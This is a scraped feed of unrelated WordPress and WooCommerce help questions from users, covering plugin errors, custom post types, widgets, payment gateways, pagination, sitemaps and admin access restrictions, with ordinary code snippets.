I am using Contact Form 7 in my wordpress website. CF-7 Working properly but when I use Recaptcha extension with it, it shows error and not sending mails.
via Chebli Mohamed
I am using Contact Form 7 in my wordpress website. CF-7 Working properly but when I use Recaptcha extension with it, it shows error and not sending mails.
Hi there i am new here, I just have a small problem is that i have created a custom post type and i wanted to have feature like "gallery images"
liken in woocommerce products on my post below featured images.
The code i have used for custom post type
// Register Custom Post Type
function custom_post_type() {
$labels = array(
'name' => _x( 'Post Types', 'Post Type General Name', 'text_domain' ),
'singular_name' => _x( 'Post Type', 'Post Type Singular Name', 'text_domain' ),
'menu_name' => __( 'Post Type', 'text_domain' ),
'name_admin_bar' => __( 'Post Type', 'text_domain' ),
'archives' => __( 'Item Archives', 'text_domain' ),
'parent_item_colon' => __( 'Parent Item:', 'text_domain' ),
'all_items' => __( 'All Items', 'text_domain' ),
'add_new_item' => __( 'Add New Item', 'text_domain' ),
'add_new' => __( 'Add New', 'text_domain' ),
'new_item' => __( 'New Item', 'text_domain' ),
'edit_item' => __( 'Edit Item', 'text_domain' ),
'update_item' => __( 'Update Item', 'text_domain' ),
'view_item' => __( 'View Item', 'text_domain' ),
'search_items' => __( 'Search Item', 'text_domain' ),
'not_found' => __( 'Not found', 'text_domain' ),
'not_found_in_trash' => __( 'Not found in Trash', 'text_domain' ),
'featured_image' => __( 'Featured Image', 'text_domain' ),
'set_featured_image' => __( 'Set featured image', 'text_domain' ),
'remove_featured_image' => __( 'Remove featured image', 'text_domain' ),
'use_featured_image' => __( 'Use as featured image', 'text_domain' ),
'insert_into_item' => __( 'Insert into item', 'text_domain' ),
'uploaded_to_this_item' => __( 'Uploaded to this item', 'text_domain' ),
'items_list' => __( 'Items list', 'text_domain' ),
'items_list_navigation' => __( 'Items list navigation', 'text_domain' ),
'filter_items_list' => __( 'Filter items list', 'text_domain' ),
);
$args = array(
'label' => __( 'Post Type', 'text_domain' ),
'description' => __( 'Post Type Description', 'text_domain' ),
'labels' => $labels,
'supports' => array( 'title', 'editor', 'thumbnail', 'custom-fields', ),
'taxonomies' => array( 'category', 'post_tag' ),
'hierarchical' => false,
'public' => true,
'show_ui' => true,
'show_in_menu' => true,
'menu_position' => 10,
'show_in_admin_bar' => true,
'show_in_nav_menus' => true,
'can_export' => true,
'has_archive' => true,
'exclude_from_search' => false,
'publicly_queryable' => true,
'capability_type' => 'post',
);
register_post_type( 'zeeshan_post', $args );
}
add_action( 'init', 'custom_post_type', 0 );
I am trying to find a way to categorize my users when they are registering in the web site but i cant find any way. I also search for some newsletter to have a category in it but i could not find some thing useful. do any one try to do the same thing?
I am looking for a multi-step user registration plugin which can help to create profile / account in 03 steps.
Step 01 (Page 01)
This would include just entering username, password, first name and last name. When clicked on SUBMIT button, the user gets registered and info email sent to website owner automatically.
Step 02 (Page 02)
Then the user is taken to second page where he can enter other details in registration form such as education, date of birth etc. and submits the information.
Please suggest any appropriate free / premium plugin?
Thanks in advance
I used "TinyMCE Visual Editor Comment" plugin in my theme. After click the "cancel reply" link in the reply comment form, the editor will not editable. I can not type any text in the editor. How can I fix this??
In my wordpress website, I want users to be able to login through their facebook account. I used many plugins but what they all do is only login to facebook account, not login to my website. Moreover their details are not saved in my database. Is there any plugin or custom code to achieve this?
I have created facebook app and I have fb app id and secret id.
Thanks for help in advance.
I've created a Ninja form with about 15 fields, including some uploaded images. After I fill out the form and submit it I can see a record for the submission in the dashboard at Forms|All forms | [my form] | View Submissions, but only four of my fields are shown. Why don't I see all 15 fields?
Thanks for any help.
I'd like to integrate my WP-MVC-based plugin with cron-expression project. What is "the cleanest" way to do it?
Should I create vendor folder? By composer? If so, how to include classes from it in controllers?
i have found a bug in a wordpress plugin http://ift.tt/1QZ9AQq
in checkout page if the option "Added possibility to make EU VAT field compulsory when the customer enters a company name." of plugin setting is active ,when click on buy product the color of field is green also when is empty, but in normal condition is red.
so i tried to load a custom css when the field vat is empty.
i have found the condition at line 1157 in a file called src/plugin-main.php http://ift.tt/1UgZgAL
so for load a custom js/css i build the code in /* start my code*/
// If VAT Number is required, but it was not entered or it's not valid,
// display the appropriate error message and stop the checkout
if($this->is_eu_vat_number_required($customer_country) &&
($this->vat_number_validated != Definitions::VAT_NUMBER_VALIDATION_VALID)) {
/* start my code*/
function wpb_adding_scripts() {
wp_register_script('my_amazing_script','http://ift.tt/1QZ9AQs', array('jquery'),'1.1', true);
wp_enqueue_script('my_amazing_script');
}
add_action( 'wp_enqueue_scripts', 'wpb_adding_scripts' );
/* end my code*/
$error = sprintf(__('You must enter a valid EU VAT number to complete the purchase.', 'wc-aelia-eu-vat-assistant'), $vat_number);
$this->add_woocommerce_error($error);
return;
}
but not load never script/css in page , i tried my /* start my code*/
in function.php of my theme and the code work.
in this image you can show the bug http://ift.tt/1UgZjfS
Please have a look on fiverr.com's page. they have sign in/register buttons that pop up and darkens the page behind it.
Any suggestions for this functionality on Wordpress? I'd be happy to pay for a good plug in!
I am using user pro
plugin to register the users on my website. The registration is working fine. What I need is to get the data when the user registers on the website and enter it into another table. The plugin is using ajax
and I have no idea where to add the requested functionality.
Hello I'm building an online eye glass store, with wordpress and woocommerce
My challenge is putting up a product configurator on the sidebar that can help customers determine what type of prescription glasses, lens,they want.They should be able to input sizes of the lens, bridge and temple of the glasses they want to purchase.
I'm trying to model the website after the product sidebar found in http://ift.tt/1ZBuXsc and My website link is http://ift.tt/1SmnwmI
I have tried to replicate the sidebar, but I'm yet to find a plugin that will help me achieve this
Gratitude
We are using Woocommerce based website in Wordpress platform and looking for some function or plugin in which we can assign different amount (in dollars) from dashboard to different users.
For example if there are 3 users with different roles then we are capable of assigning different amounts (in dollars) to all of them so that they can purchase items from their accounts within that amount.
In more detail lets say 3 users are Jack, Steve & Smith. So I want to assign Jack = $200, Steve = $400 & Smith = $500.
And they will be able to purchase products from this website within this amount and after they are done with this specified amount they can use their credit/debit cards for further purchase.
Please help. Thanks in advance!
I'm just moved from Joomla to Wordpress. Like joomla, I want to have different folders for my image files (like image/blog, images/tutorial ,....). However I don't know why I can't find the right thing to do this. If I'm going to have many images in my site, I don't know how to manage all of theme in the same folder.
I just tried some plugins like 'gmedia library', 'Enhanced Media Library Settings' but I could not find the right way. Are there any know plugins for this task? (have image files in seperate folders)
VIP Scanner documentation talks about its ability to scan and test plugins but I cannot find anywhere that talks about how this is achieved. Can anyone provide any clarity on the ability to scan plugins?
I am trying to create some custom database table on wordpress plugin activation with php oop concept. But no database is created after plugin activation. Here is my code
class wpe_Main {
public function __construct() {
register_activation_hook( __FILE__, array($this,'create_wpe_enquiry_table'));
}
public function create_wpe_enquiry_table(){
global $wpdb;
$sql_enquiry = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}wpe_enquiry (
`id` int(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
`userid` int(11) NOT NULL,
`enquiry_type_id` varchar(3) NOT NULL,
`contact_email` varchar(200) NOT NULL,
`contact_number` varchar(50) NOT NULL,
`contact_messenger` varchar(200) NOT NULL,
`query_title` varchar(200) NOT NULL,
`query_content` text NOT NULL,
`attachment1` varchar(200) NOT NULL,
`attachment2` varchar(200) NOT NULL,
`attachment3` varchar(200) NOT NULL,
`user_ip` varchar(50) NOT NULL,
`query_cdate` DATETIME DEFAULT CURRENT_TIMESTAMP,
`query_udate` DATETIME ON UPDATE CURRENT_TIMESTAMP,
`status` varchar(2) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8";
$sql_enquiry_reply = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}wpe_query_reply (
`id` int(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
`quiry_id` int(11) NOT NULL,
`reply_content` text NOT NULL,
`user_ip` varchar(50) NOT NULL,
`reply_cdate` DATETIME DEFAULT CURRENT_TIMESTAMP,
`reply_udate` DATETIME ON UPDATE CURRENT_TIMESTAMP,
`status` varchar(2) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8";
$sql_enquiry_type = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}wpe_query_part (
`id` int(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
`part_value` int(11) NOT NULL,
`part_name` varchar(200) NOT NULL,
`user_ip` varchar(50) NOT NULL,
`reply_cdate` DATETIME DEFAULT CURRENT_TIMESTAMP
) ENGINE=MyISAM DEFAULT CHARSET=utf8";
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
dbDelta( $sql_enquiry );
dbDelta( $sql_enquiry_reply );
dbDelta( $sql_enquiry_type );
}
} $wpuf = new wpe_Main();
I am using corsa theme and and specifically in team section i have 20 members. I want to use pagination in order to show five team members every time. Is there a plugin for me?
I want to edit this menus, to show Sub Menus of Groups and Profile, how can I? enter image description here
I'm making my first plugin for Wordpress and is under a little bit of time pressure, thought I know I will get it done and ready, It would be nice with some guidance on some questions I have.
About the plugin. It's a plugin that simply will show "Next Game" for a team. You will be able to enter basic information about your own team, for example name and logo. Then there is another option called "Manage matches" where you'll be able to enter all the matches the team will play.
The plugin will then be shown using a shortcode on the frontend, where it will simply just check weather or no the date of the match is next up, and so on... :)
It needs to things (admin options).
Question: How do I about to create this? I figured out that I either do, custom post type thingy, or simple create my own table in the database and run my own race here. What is the best option for me to go about this?
I do not need someone to code it for me, just how you would have done it. Custom Post Type for "manage Matches", make a admin page for manage team, look up that and that in codex etc.
This screenshot show the status upto selecting the fields that is to be imported on a multisite. 1) enter image description here
This screenshot show the error after clicking on the import button. 2) http://grab.by/N0EE
I have tried this import/export of types plugins data on our staging site which was hosted on easyengine, which did happened successfully without raising any errors on multisite(i.e on primary site and sub domain site).
But while importing data on multisite(i.e sub domain site) of the site which is hosted on godaddy hosting it raises this error (shown in link)
Please Help to sort this import error of multiste on godaddy hosting.
Is it possible to clear the page cache every hour in W3 total cache? I have a dynamic website (plugin) with data that updates maybe every couple minutes so I want to clear the cache every hour so the data is something like up-to-date.
Now I dont use the page cache otherwise the data is not up-to-date but it really slows down my sites response time and I really need to improve it!
Is this possible with W3 total settings or something?
Regards
Joep
I am new to WordPress, I want to add a custom option to the Wp-Pro-Quiz plugin to allow the plugin user to select it while creating the Quiz, I just need a general idea so any help will be greatly appreciated. Thanks, :-)
I want each card of this plugin to take the user to some specific page so I tried the following code which works fine:
jQuery(document).on('click', '.fc_card-container', function() {
alert('clicked!');
location.href = 'http://www.google.com';
});
However, I have 10 cards (.fc_card-container
) and I am supposed to set a different destination page for each one. How can I do that?
UPDATE: Someone told me to do the following, but the extra data-url property disappears.. :(
On each
fc_card-container
element you could add an extradata-*
property to store the URL that the click event should go to, something like this:<div class="fc_card fc_auto fc_flipping-right" data-url="http://ift.tt/gbk8l4" data-direction="right"
data-autoflip="2000" data-start="1000">
jQuery(document).on('click', '.fc_card-container', function() { window.location.assign($(this).data('url')); });
Thanks !
I am workin with WordPress for a while, yesterday I realised that my database was for some kind of reason empty and my website was dead. After that I got my sql backup wich I imported into database using PHPMyAdmin and cPanel. My website was working and the content was there, but on the other side my custom css written in jetpack was not compiling and I am not able to login on my wp-admin, I am getting white screen. Can you please help me, I am using a same database that was used 5 days ago and my webpage was working than. I am getting this in console:
Resource interpreted as Stylesheet but transferred with MIME type text/html: "http://ift.tt/1JEYGHp".
Website: http://ift.tt/22vaEiB
I want to show the default woocommerce reports on my plugin area.For that i wrote some code and now i faces two issues
Uncaught TypeError: jQuery.plot is not a function
Second the links refers to default like http://localhost/wordpress2/wp-admin/admin.php?page=wc-reports&tab=orders&report=sales_by_category
but i want it should be like http://localhost/wordpress2/wp-admin/admin.php?page=custom-page&tab=orders&report=sales_by_category
the link of the current page.So on changing the charts option it shouldn't go to default reports. This is my code (only shared that is relevant).May be someone can help:
global $wpdb;
include( WC()->plugin_path() . "/includes/admin/class-wc-admin-reports.php"); echo WC_Admin_Reports::output();
I have made a website in wordpress. It has couple of forms which has input box depending on number of elements in the array. If the array has 2 dimensional array and each array has 2 values, then I need to add 2 x 2 input box with default values taken from the array.
I need to use gravity form.
Thanks in advance
can u help me to find wordpress plugin that can register, login and can post the content in our website by they register and login as a user in our website. I cannot find. Please help me... Thank for advance.
Please recommend me a wordpress plugin which shows images in album style and social medai share buttons with the opened/large image. Thanks.
I need your input and insight on using GLOBALS variable to store all CSS that is generated through Wordpress Shortcodes. I have designed Shortcode that use the following css format:
<style>
#divID1 .blah { /* code */}
#divID2 .blah { /* code */}
</style>
this works well, however while validating through http://ift.tt/1IKiNGt I keep getting errors like below:
- Element style is missing required attribute scoped.
or sometimes..
- Element style not allowed as child of element div in this context. (Suppressing further errors from this subtree.)
Now my question is what if I keep adding that dynamic CSS code to one variable $GLOBALS['custom-css'] .= 'whatever code';
and I can print that variable within . Is this insecure ? OR the $GLOBALS doesn't work on many hosts ? Or it may effect Wordpress site, I don't want to risk and ending up it not working on many different web hosts.
Can someone please explain and/or confirm if that is a right method.
thanks
I use the theme as an affiliate deals aggregator. I am using WP all import plugin to import deals from xml files. On import, I face a major problem concerning the expire date as in every xml, it is in the format: “2015-04-23 00:00:00”, while your theme requires UNIX timestamp and can not convert. I used strtotime() in wp all import to convert date to timestamp in real time. But im getting this error : Warning: date() expects parameter 2 to be long, string given in /home/xxxx/http://ift.tt/1mH0pXM on line 112/114/116 and 117
A part of functions.php file :
function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) {
global $wp_locale;
$i = $unixtimestamp;
if ( false === $i ) {
if ( ! $gmt )
$i = current_time( 'timestamp' );
else
$i = time();
// we should not let date() interfere with our
// specially computed timestamp
$gmt = true;
}
/*
* Store original value for language with untypical grammars.
* See http://ift.tt/1PpL47u
*/
$req_format = $dateformatstring;
$datefunc = $gmt? 'gmdate' : 'date';
if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) {
$datemonth = $wp_locale->get_month( $datefunc( 'm', $i ) );-----------LINE 112
$datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );
$dateweekday = $wp_locale->get_weekday( $datefunc( 'w', $i ) );------LINE 114
$dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );
$datemeridiem = $wp_locale->get_meridiem( $datefunc( 'a', $i ) );----LINE 116
$datemeridiem_capital = $wp_locale->get_meridiem( $datefunc( 'A', $i) );------LINE 117
$dateformatstring = ' '.$dateformatstring;
$dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );
$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
}
I have got problems with my Wordpress plugin. I tried to make a button widget which has multiple options in the backend. My problem is that the title is being saved but not the options in the select tag. Here is the piece of code:
<code>add_action( 'widgets_init', function(){
register_widget( 'Button_Widget' );
});
class Button_Widget extends WP_Widget {
/**
* Register widget with WordPress.
*/
function __construct() {
parent::__construct(
'Button_Widget', // Base ID
__('♦ Button', 'text_domain'), // Name
array('description' => __( 'Insert a button', 'text_domain' ),) // Args
);
}
/**
* Front-End Widget
*/
public function widget( $args, $instance ) {
//coming soon
}
/**
* Back-end widget form.
*/
public function form( $instance ) {
?>
/**
* Back-end widget form.
*
* @see WP_Widget::form()
*
* @param array $instance Previously saved values from database.
*/
if ( isset( $instance[ 'title' ] ) ) {
$title = $instance[ 'title' ];
}
else {
$title = __( 'New title', 'text_domain' );
}
?>
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>">
</p>
<p>
<label>Animaton:</label>
<select>
<option value="slide">Slide</option>
<option value="fade">Fade</option>
<option value="bounce">Bounce</option>
</select>
<label>Color:</label>
<select>
<option value="white">White</option>
<option value="red">Red</option>
<option value="green">Green</option>
</select>
</p>
<?php
}
}
I have developed a payment gateway plugin for Woocommerce, and it relies heavily on some javascript which loads a popup to capture user details. I need that javascript to run only if THAT gateway is selected from the radio buttons. For some reason it doesn't work. Here's my code
jQuery(document).ready(function() {
usingGateway();
jQuery('form[name="checkout"] input[name="payment_method"]:checked').change(function(){
usingGateway();
});
});
function usingGateway(){
console.log(jQuery("input[name='payment_method']:checked").val());
if(jQuery('form[name="checkout"] input[name="payment_method"]:checked').val() == 'my_gateway'){
console.log("Using my gateway");
//Etc etc
}else{
console.log("Not using my gateway. Proceed as usual");
}
}
It seems woocommerce overrides the javascript in some way, because even though the radio button is selected, my console.log for payment_method is always undefined. Then the IF block is skipped and it always says "Not using my gateway. When I comment out the IF statement, the payment gateway works fine.
But I need it to work because if a user selects another payment method (even BACS or offline payments), the javascript will still load the popup and attempt to process the payment using my custom gateway.
Hi I recently bought the wordpress theme mooon. And I need to create a home page like http://ift.tt/1Gf4BBp site I figured they have used Category or Custom Links Tiles
section by watching their user manual, But I have no idea what to do next. It would be great help if someone can look into it.
You can see Category or Custom Links Tiles
section via this link,
http://ift.tt/1OrMG3j
Hi all I am a new of wordpress ,I want to create read more of detail ,coz somtime it long detail, How can I do it ,Help me please, And u can see my pic
And here is my code our_team.php
<?php
echo '<section class="our-team" id="team">';
echo '<div class="container">';
echo '<div class="section-header">';
$zerif_ourteam_title = get_theme_mod('zerif_ourteam_title',__('YOUR TEAM','zerif-lite'));
if( !empty($zerif_ourteam_title) ):
echo '<h2 class="dark-text">'.$zerif_ourteam_title.'</h2>';
endif;
$zerif_ourteam_subtitle = get_theme_mod('zerif_ourteam_subtitle',__('Prove that you have real people working for you, with some nice looking profile pictures and links to social media.','zerif-lite'));
if( !empty($zerif_ourteam_subtitle) ):
echo '<div class="section-legend">'.$zerif_ourteam_subtitle.'</div>';
endif;
echo '</div>';
if(is_active_sidebar( 'sidebar-ourteam' )):
echo '<div class="row" data-scrollreveal="enter left after 0s over 0.1s">';
dynamic_sidebar( 'sidebar-ourteam' );
echo '</div> ';
else:
echo '<div class="row" data-scrollreveal="enter left after 0s over 0.1s">';
the_widget( 'zerif_team_widget','name=ASHLEY SIMMONS&position=Project Manager&description=Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque&fb_link=#&tw_link=#&bh_link=#&db_link=#&ln_link=#&image_uri='.get_template_directory_uri().'/images/team1.png', array('before_widget' => '', 'after_widget' => '') );
the_widget( 'zerif_team_widget','name=TIMOTHY SPRAY&position=Art Director&description=Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque&fb_link=#&tw_link=#&bh_link=#&db_link=#&ln_link=#&image_uri='.get_template_directory_uri().'/images/team2.png', array('before_widget' => '', 'after_widget' => '') );
the_widget( 'zerif_team_widget','name=TONYA GARCIA&position=Account Manager&description=Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque&fb_link=#&tw_link=#&bh_link=#&db_link=#&ln_link=#&image_uri='.get_template_directory_uri().'/images/team3.png', array('before_widget' => '', 'after_widget' => '') );
the_widget( 'zerif_team_widget','name=JASON LANE&position=Business Development&description=Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque&fb_link=#&tw_link=#&bh_link=#&db_link=#&ln_link=#&image_uri='.get_template_directory_uri().'/images/team4.png', array('before_widget' => '', 'after_widget' => '') );
echo '</div>';
endif;
echo '</div>';
echo '</section>';
i can't activate this Another WordPress Classifieds Plugin (AWPCP) in wordpress i have this error appears when i tried to activate this plugin
Plugin could not be activated because it triggered a fatal error. PHP Error Message
Warning: require_once(/home/a9059209/public_html/wordpress/wp-content/plugins/another-wordpress-classifieds-plugin/includes/functions/categories.php) [function.require-once]: failed to open stream: No such file or directory in /home/a9059209/public_html/wordpress/wp-content/plugins/another-wordpress-classifieds-plugin/awpcp.php on line 77
Free Web Hosting
PHP Error Message
Fatal error: require_once() [function.require]: Failed opening required '/home/a******/public_html/wordpress/wp-content/plugins/another-wordpress-classifieds-plugin/includes/functions/categories.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/a******/public_html/wordpress/wp-content/plugins/another-wordpress-classifieds-plugin/awpcp.php on line 77
Free Web Hosting
how i can fix it?
I'm developing a Wordpress plugin in which I have to change a template file statically. As you know, it is possible to do it dynamically but I have to make some changes to template file itself via my plugin.
Is it possible? if so, how?
Hi have WP plugin called check email validation.
This plugin add a new field in Contact Form 7 called "Checkmail" that allow to do a double email check when submitting the form. The new field will ask to users to confirm their email by typing it into a second field.
But the plugin support is not available and its not working with latest contact form 7.
While when i try to add the checkmail field in contact from backend it give me the error
Warning: Parameter 1 to wpcf7_tg_pane_checkmail() expected to be a reference, value given in /home/autowash/public_html/wp-content/plugins/contact-form-7/admin/includes/tag-generator.php on line 68
anyone here can help me in this issue.
Not sure when this occurred but when editing a category, this error is given at the top of the edit category page.
Warning: call_user_func_array() expects parameter 1 to be a valid callback, function 'my_category_custom_fields' not found or invalid function name in /home2/sirenon2/public_html/wp-includes/plugin.php on line 525
Line 525 is call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args']));
When I submit on the edit category page, it gives me the original error plus:
Warning: Cannot modify header information - headers already sent by (output started at /home2/sirenon2/public_html/wp-includes/plugin.php:525) in /home2/sirenon2/public_html/wp-includes/pluggable.php on line 1228
Line 1228 is header("Location: $location", true, $status);
.
Any ideas on what the problem is and how to fix it? I do have custom fields on my edit category pages.
Thanks
who is tiger of word press? Give proper answer my question.
I want to appear a brand logo in product listing page/shop page below the products feature image. near price is there any way without plugin ?? thanks in advance.
here is link where u can see products. http://ift.tt/1PoaXpZ
I am creating wordpress website for one client, link: http://ift.tt/22qVUB8
on the home page, I added testimonials, when testimonials slider works, footer below also re-sized (up and down). I want to know how can I fix this thing? I don't want the footer to move when client slider moves.
This question already has an answer here:
I am facing a problems with my wordpress site and i cannot see anything on my login screen : http://vtrails.us/login - It's blank. But in my error_log
file i am looking a problem
PHP Warning: Cannot modify header information - headers already sent by (output started at /home/vtrailsu/public_html/wp-content/plugins/mix-tape/update_calls.php:198) in /home/vtrailsu/public_html/wp-includes/pluggable.php on line 1228
But I cannot see anything on update_calls : line 198
(see above) So what can be it's solution? Can i get more information about it?
I needed to add some params to the order_data array in(v2/class-wc-api-order.php) woocommere and i've created a plugin so my changes wouldn't be overwritten by every update but i cant manage to get the id from the class?
I want $id to be the same the id i send in with my API
$id =
$order = wc_get_order( $id );
$olddata = array(
'first_name' => $order->shipping_first_name,
'last_name' => $order->shipping_last_name,
'company' => $order->shipping_company,
'address_1' => $order->shipping_address_1,
'address_2' => $order->shipping_address_2,
'city' => $order->shipping_city,
'state' => $order->shipping_state,
'postcode' => $order->shipping_postcode,
'country' => $order->shipping_country,
);
When I want to change the default size of plugin video player in wordpress foundation it has scroll on the bottom that make my website look not friendly. so please help me to solve this problem.
Note: I need size 907px because it match with my website size. if i change it to small than this it can work and no scroll but it not good.
Here is my picture of size: click here to see my photo | click here to see photo change size in admin
In wordpress, I am using wp rss aggregator plugin to parse feed url. Now i am having morethan 1000 links to parse with category specification. How can i parse this url in bulk? I am in hurry. Looking forward for relavant answer. Thanks.
I have a problem with Visual Composer 4.7.4
First: The button FronEnd no appear
Second: In the option BackEnd , every element display like the next image:
Any idea of this errors ?
I'm using FeedWordpress to import news to the newsroll of a mother company from a subsidiary webpage.
The RSS-excerpt for a specific item can be seen here: Pastebin
As you can see, I'm getting the images I need into the RSS-file, into the start of the description block, as well as the content:encoded block:
<img width="2400" height="1350" src="http://ift.tt/1IquJ2Z" class="attachment-full wp-post-image" alt="Skogskullen 2 01 nyheter" />
FeedWordpress correctly parses the image and finds it. It's very weird though, because what gets imported is that same image, but resized with the "-150x150" flag. The original is nowhere to be seen.
I desperately need the import to work with the original image resolution. I've looked through the source for the plugins, but I can't for the life of me find any mention of 150x150.
I'm the sole developer of both sites, so I can work with both code bases. I'd appreciate any help or tips to what I can look at to figure this out.
I am new to wordpress and creating a plugin, an error log has been created automatically in my plugins templates folder which listed so many errors saying [22-Dec-2015 07:57:25 Etc/GMT] PHP Fatal error: Call to undefined function wp_redirect() in /home/techgwpj/public_html/http://ift.tt/1QLlTiR on line 12. When I was doing the same thing from my themes/templates folder this was working fine, but as soon as i placed the same code into my plugins/templates folder it stopped working and a blank page appeared and all the wp functions became undefined i.e. wp_redirect, get_header(), get_footer() etc
Hi all I have problame with pagination widget ,I want to add pagination in widget post and u can see: Help me please!!
I want to integrate Syntax Highlighter on my wordpress blog. I've searched over internet for it but haven't got the answer.
I tried to link the sytax highlighter by switching the blog writing mode to html from visual but still it's not working.
There are answers which says that this can't be done on free wordpress blog but recently i visited this blog :
This blog have accomplished this task. I want to know how this is possible.
When I wanna add my own footer,other plugin not work such as slideshow... so please help me!!!!!
Here is code:
<div class="row" >
<div class="twevle columns"><h1>Test Footer</h1></div>
</div>
<?php //get_footer(); ?>
I want to develop a "page builder" plugin in WP as SiteOrigin or Visual Composer, but I don't find any materials to make it from Google. Anyone can give me a solution or instruction for that, thanks.
I am using wp-awesome-scrollbar
plugin in wordpress, url.Every thing is working fine except it's not reinitiating after ajax response.How can I do that?
I've struggled with this problem with a while and still couldn't find the solution. I've created custom CSS for the google calendar in wordpress page, but the thing is, it is not working.
I put this code in the page and I put in custom css of the theme as well, but it not showing up:
<style>
span#calendarTitle {display:none !important;}
.header img {display:none !important;}
.tab-name {display:none !important;}
.footer {display:none !important;}
.ui-rtsr-first-tab {display:none !important;}
</style>
Was hoping if someone could see what I am doing wrong. Attached the live page link: http://ift.tt/1YwqObN
Thanks
I'm not sure if I'm in the right place but I created part of a webpage using Visual Composer but I am having trouble figuring out how to reduce the padding between the icon and the title text below. Here is a link to how this section of the page currently looks: http://ift.tt/1REzIzE
I asked a question previously (Here's a link) and found an answer that solved my problem. But now due to the P tag which I used to center the text I have created too much space between the icon and the text. I'm hoping someone will be able to help me figure out how to do this.
I am new to web development and new to Stack Overflow and still trying to learn how to navigate all this complexity. I am building this website in Wordpress and this specific element I am working on has been created with Visual Composer, however, you can see the code I used in the link to my previous question.
As always, thank you for your help.
I have 2 wordpress installs under main domain.
www.example.com --1st wordpress install
www.example.com/blog --2nd wordpress install
What is the best way in wordpress to generate a sitemap for submitting my website to google such that there is no sitemap conflict and SEO penalty for such a setup?
I use yoast plugin and would not mind using other plugin to generate a sitemap. My concern being, will www.example.com sitemap plugin account for the wordpress install in the sub-directory /blog? what if I use the same plugin in both wordpress install. Will there be a huge conflict?
Please suggest the best way to generate a sitemap to help submit my site to search engines.
Thank you very much in advance.
Best,
in my wordpress site i have 2 type submission form , the first is for already registrated user , the second for private user (not logged)
now i want assign default post author (with id '90' called 'xxx') to a private submission post
a post is a private when
$submission = array(
'submission_type' => 'privato',);
i have build this code but not work:
$priv = 'privato';
$sub = $submission['submission_type'];
if ($sub == $priv) {
$privateid = get_the_ID();
$my_post = array(
'ID' => $privateid,
'post_author' => 90,
);
wp_update_post( $my_post );
}
how assign/update the post author for the post when the condition is true so $sub == $priv
I'm trying to restrict access to the admin dashboard (wp-admin.php) by specific static ip so I tried to add .htaccess to the wp-admin and set
<FilesMatch "admin\.php$">
Order deny,allow
Deny from all
Allow from 10.0.0.0/24
</FilesMatch>
but it is not working so I tried to install bulletproof plugin also and changed
<IfModule !mod_authz_core.c>
<IfModule mod_access_compat.c>
Order Allow,Deny
Deny from all
Allow from 000
</IfModule>
</IfModule>
</FilesMatch>
but it is not working either.
Our company plan build a web site, the site include CMS feature( Add Post by categories) and shopping card feature.
Do you think if one WP application can do both? Please give me some advice which shopping cart plugins are good for this.
I need the shop cart do not affect wp_posts table because we also need the feature. I wonder if the shopping cart plugin can add some new tables to default WP application.
Thanks for help
Mark
What plugins are good for a wordpress website where it allows users to use contents (videos, etc) after he/she made a payment first?
Apologize if it is a too simple question, I am absolutely new to Wordpress. Thanks.
My Memberpress stripe integration is not working. I keep getting the following error message whenever I test a credit card transaction via stripe.
ERROR: There was a problem sending your credit card details to the processor. Please try again later. 1 Array ( [action] => checkout [txn] => e [mepr_process_payment_form] => Y [mepr_transaction_id] => 14 [mepr-cc-type] => )
Can anyone provide solution? Thanks in advance.
A very strange problem I am facing, I am getting the error below:
I believe as a result of this error, I am unable to see some of the page elements that does exist in the page.
What I have tried:
Please note that I am getting the same error in all the other pages, though the missing element problem is not happening.
Anyway, any clue what is rooting the http://ift.tt/1ygmAEu jquery
error, shown above?
P.S. /undefined
page doesn't exist, of course.
I'm getting this message "Parallelize downloads across hostnames" when checking my WordPress site on GTmetrix > https://gtmetrix.com
Here are the details > http://ift.tt/22lrq3E
How do I fix that ?
Hi i want to add a custom block to visual composer ---> grid elements.
By default you can add on your grid elements: title, featured image, post date ecc but not the categories of the post. I found this article who explain in details what code to implement to see new featured but there is no information about the file to modifying..
Anyone can help me?
Thanks in advance
I want to regularly take archived backup of my older posts. Could somebody suggest me a plugin which automatically archive the older post in a custom manner(May be weekly/Monthly/Yearly).
I'm trying to use woocommerce for my website.
